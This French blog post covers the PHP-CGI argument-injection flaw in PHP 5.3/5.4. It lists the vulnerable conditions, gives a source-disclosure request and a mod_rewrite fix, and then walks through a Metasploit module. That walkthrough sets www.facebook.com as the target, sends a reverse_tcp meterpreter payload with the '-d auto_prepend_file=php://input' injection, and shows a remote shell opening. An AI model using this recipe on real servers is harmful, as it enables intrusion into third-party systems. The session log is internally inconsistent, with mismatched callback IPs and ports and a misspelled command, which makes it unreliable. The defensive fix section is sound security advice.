Archives du mot-clef php 5.4

La faille Php/Cgi touche aussi facebook.com

Une faille de sécurité assez grave vient d’être découverte dans les versions 5.3 et 5.4 de PHP. L’utilisation d’une simple requête HTTPpermet d’afficher le code source de la page et éventuellement d’y retrouver les mots de passes utilisés. De quoi avoir quelques frissons dans le dos.

 

Faille de sécurité sur le site Facebook

1. La faille et les solutions pour la contrer

Pour pouvoir exploiter cette faille, il faut tout de même répondre aux conditions suivantes :

  • Utiliser une version de PHP sur le serveur inférieure à la 5.3.12 ou la 5.4.2
  • L’interpréteur PHP doit fonctionner en mode CGI, ce qui n’est pas le mode par défaut
  • La requête HTTP doit être du type Query String, commencer par le signe – et ne pas comporter de signe =
  • La méthode de la requête doit être soit un GET, soit un HEAD
  • Les modules FastCGI, mod_suphp, ainsi que le couple nginx + php-fpm ne sont pas concernés

Si vous ne savez pas dans quel mode est configuré votre serveur Apache, sachez qu’une configuration en mode CGI ressemble à quelque chose comme ça :

1
2
Options +ExecCGI
AddHandler php5-cgi .php

Voici un exemple de requête qui permet de lancer une attaque. Ici, on utilise le paramètre -s qui permet de forcer l’affichage du code source :

1
http://victime.fr/index.php?-s

Pour corriger cette faille, il existe aujourd’hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :

1
2
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

2. Le module pour Metasploit

Un module pour Metasploit est déjà disponible et il se nomme « php_cgi_arg_injection ». Celui-ci utilise le paramètre -d qui permet de modifier le comportement d’une page PHP dynamiquement, pour ouvrir un shell à distance. Voici un exemple d’utilisation :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    # cd metasploit && svn up
   # ./msfconsole -n
   msf > use exploit/unix/webapp/php_cgi_arg_injection
   msf > info
   msf > set RHOST www.facebook.com
   msf > set RPORT 80
   msf > set TARGETURI /
   msf > show payloads
   msf > set PAYLAOD php/meterpreter/reverse_tcp
   msf > set LHOST 192.168.1.101
   msf > set LPORT 4444
   msf > exploit

   [*] Started reverse handler on 129.20.129.167:4444
   "/?-d+allow_url_include%3dtrue+-d+auto_prepend_file%3dphp://input"
   [*] Sending stage (38791 bytes) to 192.168.1.100
   [*] Meterpreter session 1 opened (192.168.1.101:443 -> 192.168.1.100:57139) at 2012-05-03 18:42:39 -0400

   meterpreter > getuid
   Server username: www-data (33)

Source: www.tux-planet.fr